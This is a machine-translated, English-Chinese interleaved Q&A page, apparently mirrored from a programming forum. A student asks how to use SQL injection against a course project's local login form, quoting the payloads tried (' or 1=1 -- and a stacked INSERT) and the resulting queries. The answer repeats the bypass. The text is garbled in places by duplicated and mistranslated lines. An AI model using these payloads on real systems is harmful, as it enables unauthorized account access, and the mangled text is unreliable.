[英]SQL Injection on a local server
I have a project for a course where I connect to a local server localhost:8080/website.php
and execute SQL Injection. 我有一个课程的项目,在该课程中,我连接到本地服务器
localhost:8080/website.php
并执行SQL Injection。 The server has an Account ID Number and Password field. 服务器具有一个“帐户ID号”和“密码”字段。 When submitted the ID and Password values are input into the SQL statement:
SELECT * FROM accounts WHERE id = (ID value) AND password = '(password value)'
How would I exploit this and perform SQL Injection? 提交后,将ID和密码值输入到SQL语句中:
SELECT * FROM accounts WHERE id = (ID value) AND password = '(password value)'
我将如何利用它并执行SQL注入?
I have tried a few thing listed below. 我尝试了下面列出的几件事。
' or 1=1 --
became SELECT * FROM accounts WHERE id = 12345 AND password = '' or 1=1 --'
opens an account, its always the same account. ' or 1=1 --
成为SELECT * FROM accounts WHERE id = 12345 AND password = '' or 1=1 --'
打开一个帐户,其始终是相同的帐户。 How do I access a different account? 如何访问其他帐户?
'; INSERT INTO accounts(id,password) values('12345','abc');--
'; INSERT INTO accounts(id,password) values('12345','abc');--
became SELECT * FROM accounts WHERE id = 12345 AND password = ''; INSERT INTO accounts(id,password) values('12345','abc');--'
'; INSERT INTO accounts(id,password) values('12345','abc');--
成为SELECT * FROM accounts WHERE id = 12345 AND password = ''; INSERT INTO accounts(id,password) values('12345','abc');--'
SELECT * FROM accounts WHERE id = 12345 AND password = ''; INSERT INTO accounts(id,password) values('12345','abc');--'
This gives a sql error SELECT * FROM accounts WHERE id = 12345 AND password = ''; INSERT INTO accounts(id,password) values('12345','abc');--'
这给出了一个SQL错误
How do I log into any account without knowing an id, the ' or 1=1 --
logs into the same account no matter what I put for the ID. 如何在不知道ID(
' or 1=1 --
情况下)登录任何帐户' or 1=1 --
无论我为ID输入什么内容,都登录同一帐户。 Also how do I create my own account in the database? 另外,如何在数据库中创建自己的帐户?
You can send a value to invalidate the where and make always true the result. 您可以发送一个值来使where无效并使结果始终为true。 This will give you access to the system without knowing the password.
这将使您无需知道密码即可访问系统。
'or 1=1 -- '或1 = 1-
Mike after I run your statement in sql I got this. 迈克,我在sql中运行您的语句后,我明白了。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.